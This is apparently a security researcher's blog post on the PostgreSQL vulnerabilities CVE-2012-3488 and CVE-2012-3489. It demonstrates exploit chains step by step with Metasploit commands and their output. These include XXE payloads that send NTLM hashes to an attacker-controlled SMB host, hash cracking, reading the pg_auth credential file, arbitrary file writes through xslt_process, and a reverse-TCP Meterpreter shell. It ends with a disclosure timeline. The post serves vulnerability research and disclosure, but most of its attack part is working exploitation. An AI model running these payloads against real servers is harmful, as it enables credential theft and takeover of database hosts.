On August 17, 2012, PostgreSQL released a security advisory including patches for CVE-2012-3488 and CVE-2012-3489. This post will describe these vulnerabilities and how to exploit them. Please notice that an authenticated access to the database is needed in every scenario, either via direct access to PostgreSQL port or via SQL injection. I'll now demonstrate three distinct ways to gain administrative privileges on a PostgreSQL server, using Metasploit and a Windows version of Postgres 8.4.12.
Let's begin with CVE-2012-3489. The PostgreSQL description is "xml_parse() DTD validation can be used to read arbitrary files". In fact, without additional vectors, this is "only" a semi-blind (I mean error-based) XML External Entity vulnerability. It is possible to access local and remote files under the context of the PostgreSQL user, but a XML syntax error is needed in order to retrieve fragments of the target file. Under Unix, denial of service attacks via /dev/random are possible. Under Windows, the database is run under a standard account and stealing LM and NTLM hashes is possible. All is needed is outbound TCP/445 or TCP/80 connectivity to an attacker-controlled server. In a typical LAN deployment, the attacker can then connect back to the target server and re-use the stolen credentials.
The Metapsloit module "smb" is started:
$ sudo msfconsole msf > use auxiliary/server/capture/smb msf auxiliary(smb) > exploit
The attacker can connect to the PostgreSQL server but he doesn't have any privilege:
msf > use auxiliary/scanner/postgres/postgres_hashdump msf auxiliary(postgres_hashdump) > set USERNAME nopriv msf auxiliary(postgres_hashdump) > set PASSWORD foobar msf auxiliary(postgres_hashdump) > set RHOSTS 192.168.27.107 msf auxiliary(postgres_hashdump) > exploit [-] 192.168.27.107:5432 Postgres - Insufficent permissions // Yes, that's a typo ;-)
So he triggers the xml_parse() vulnerability (here via a direct connection to TCP/5432 but SQL injection is another valid vector):
msf > use auxiliary/admin/postgres/postgres_sql msf auxiliary(postgres_sql) > set USERNAME nopriv msf auxiliary(postgres_sql) > set PASSWORD foobar msf auxiliary(postgres_sql) > set RHOST 192.168.27.107 msf auxiliary(postgres_sql) > set SQL 'select xmlparse(document $$<!DOCTYPE x [ <!ENTITY abc SYSTEM "//192.168.2.218/evil_share/foo.txt"> ] ><x>&abc;</x>$$);' msf auxiliary(postgres_sql) > exploit
On the Metasploit side:
NTLMv1 Response Captured from 192.168.27.107:1100 - 192.168.27.107 USER:postgres DOMAIN:DEMO-CONFS OS:Windows 2002 Service Pack 3 2600 LM:Windows 2002 5.1 LMHASH:8d27f92d8d9c73a27a2ffa4337e881472f85252cc731bb25 NTHASH:e1593d3308d5dcfea223126e24c45b6d2b1c4f1b2f85e713
The captured hash is then cracked using John The Ripper, rainbow tables, or any "in the cloud" solution:
$ cat postgresql-hashes.txt postgres:$NETLM$1122334455667788$8d27f92d8d9c73a27a2ffa4337e881472f85252cc731bb25::::::: $ john postgresql-hashes.txt Loaded 1 password hash (LM C/R DES [netlm]) TOTO (postgres) guesses: 1 time: 0:00:00:02 100% (2) c/s: 332409 trying: TOTO
By default, the password of the service and application accounts are identical under Windows. This allows the attacker to connect via either SMB (with standard OS privileges and depending on the applicable security policy) or PostgreSQL (with administrative database privileges):
msf > use auxiliary/scanner/postgres/postgres_hashdump msf auxiliary(postgres_hashdump) > set USERNAME postgres msf auxiliary(postgres_hashdump) > set PASSWORD toto msf auxiliary(postgres_hashdump) > set RHOSTS 192.168.27.107 msf auxiliary(postgres_hashdump) > exploit [*] Query appears to have run successfully [+] Postgres Server Hashes ====================== Username Hash -------- ---- nopriv dc4a7869c4e7182783c33d91308ffe10 app_hr b4270e25c9fadba2b79e18055141d882 app_crm 527bd5b5d689e2c32ae974c6229ff785 postgres 9fa7827a30a483125ca3b7218bad6fee
If the contrib/xml2 module is available, xslt_process() can be used to retrieve the value of external XML entities. An empty XSLT stylesheet (thanks to the Built-in Template Rules) is run in order to copy the source XML document. The "global/pg_auth" file, which contains the PostgreSQL credentials, is a perfect target:
msf > use auxiliary/admin/postgres/postgres_sql msf auxiliary(postgres_sql) > set USERNAME nopriv msf auxiliary(postgres_sql) > set PASSWORD foobar msf auxiliary(postgres_sql) > set RHOST 192.168.27.107 msf auxiliary(postgres_sql) > set SQL 'select xslt_process($$<!DOCTYPE x [<!ENTITY abc SYSTEM "global/pg_auth"> ] ><x>&abc;</x>$$::text, $$<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0"></xsl:stylesheet>$$::text);' msf auxiliary(postgres_sql) > exploit xslt_process ------------ <?xml version="1.0"?> "nopriv" "md5dc4a7869c4e7182783c33d91308ffe10" "" "app_hr" "b4270e25c9fadba2b79e18055141d882" "" "app_crm" "527bd5b5d689e2c32ae974c6229ff785" "" "postgres" "md59fa7827a30a483125ca3b7218bad6fee" ""
However, there's another vulnerability in the contrib/xml2 module providing xslt_process(), like described now with CVE-2012-3488.
The PostgreSQL description is "contrib/xml2's xslt_process() can be used to read and write arbitrary files". Technically, this is exactly the same vulnerability that those I already reported in Webkit (CVE-2011-1774), xmlsec (CVE-2011-1425) and PHP5 (CVE-2012-0057): an attacker can gain write access to the filesystem by abusing legitimate features of the libxslt XSLT processor. It's funny to notice that my PoC from 2011 works flawlessly:
msf > use auxiliary/admin/postgres/postgres_sql msf auxiliary(postgres_sql) > set USERNAME nopriv msf auxiliary(postgres_sql) > set PASSWORD foobar msf auxiliary(postgres_sql) > set RHOST 192.168.27.107 msf auxiliary(postgres_sql) > set SQL 'select xslt_process($$<x/>$$::text, $$<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0"><xsl:template match="/"><xsl:document href="aybabtu.txt" method="text"><xsl:text>All your base are belong to us.</xsl:text></xsl:document></xsl:template></xsl:stylesheet>$$::text);' msf auxiliary(postgres_sql) > exploit
msf > use auxiliary/admin/postgres/postgres_sql msf auxiliary(postgres_sql) > set USERNAME nopriv msf auxiliary(postgres_sql) > set PASSWORD foobar msf auxiliary(postgres_sql) > set RHOST 192.168.27.107 msf auxiliary(postgres_sql) > set SQL 'select xslt_process($$<!DOCTYPE x [<!ENTITY abc SYSTEM "aybabtu.txt"> ] ><x>&abc;</x>$$::text, $$<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0"></xsl:stylesheet>$$::text);' msf auxiliary(postgres_sql) > exploit xslt_process ------------ <?xml version="1.0"?> All your base are belong to us.
Bingo! Given that overwriting existing files is acceptable, it's even possible to modify the "postgresql.conf" configuration file, nullify an existing database or even add our own account to "global/pg_auth".
We have now three ways to gain administrative access to the database: steal the LM/NTLM hashes from the network, steal the MD5 hashes from "global/pg_auth" or overwrite "global/pg_auth" with your own account details. This is already cool, but some people really want to see a Meterpreter shell. Luckily, the "postgres_payload" Metasploit module does just that:
msf > use exploit/windows/postgres/postgres_payload msf exploit(postgres_payload) > set PAYLOAD windows/meterpreter/reverse_tcp msf exploit(postgres_payload) > set USERNAME postgres msf exploit(postgres_payload) > set PASSWORD toto msf exploit(postgres_payload) > set RHOST 192.168.27.107 msf exploit(postgres_payload) > exploit [*] Started reverse handler on 192.168.2.218:4444 [*] Authentication successful and vulnerable version 8.4 on Windows confirmed. [*] Uploaded flJBELWn.dll as OID 33011 to table jnrotcvq(ipmhmpch) [*] Command Stager progress - 1.48% done (1499/101465 bytes) [*] Command Stager progress - 2.95% done (2998/101465 bytes) [*] Command Stager progress - 4.43% done (4497/101465 bytes) ... [*] Command Stager progress - 96.03% done (97435/101465 bytes) [*] Command Stager progress - 97.51% done (98934/101465 bytes) [*] Command Stager progress - 98.95% done (100400/101465 bytes) meterpreter > getuid Server username: DEMO-CONFS\postgres
CVE-2012-3489 (dereference of XML External Entities):
- May 2011: Internal identification of the issue by the PostgreSQL team
- May 2012: Independent re-discovery by Vladimir Vorontsov (aka d0znpp)
- June 2012: Disclosure of the bug at PHDays (blog post)
- July 2012: Notification of the PostgreSQL security team
- August 2012: Release of patched versions
CVE-2012-3488 (abuse of a libxslt feature):
- February 2011: Publication of a similar vulnerability in Webkit (CVE-2011-1774)
- March 2011: Publication of a similar vulnerability in xmlsec (CVE-2011-1425)
- January 2012: Publication of a similar vulnerability in PHP (CVE-2012-0057)
- February 2012: Internal identification of the issue by the PostgreSQL team
- June 2012: Discovery by myself that PostgreSQL is affected
- July 2012: Notification of the PostgreSQL security team
- August 2012: Release of patched versions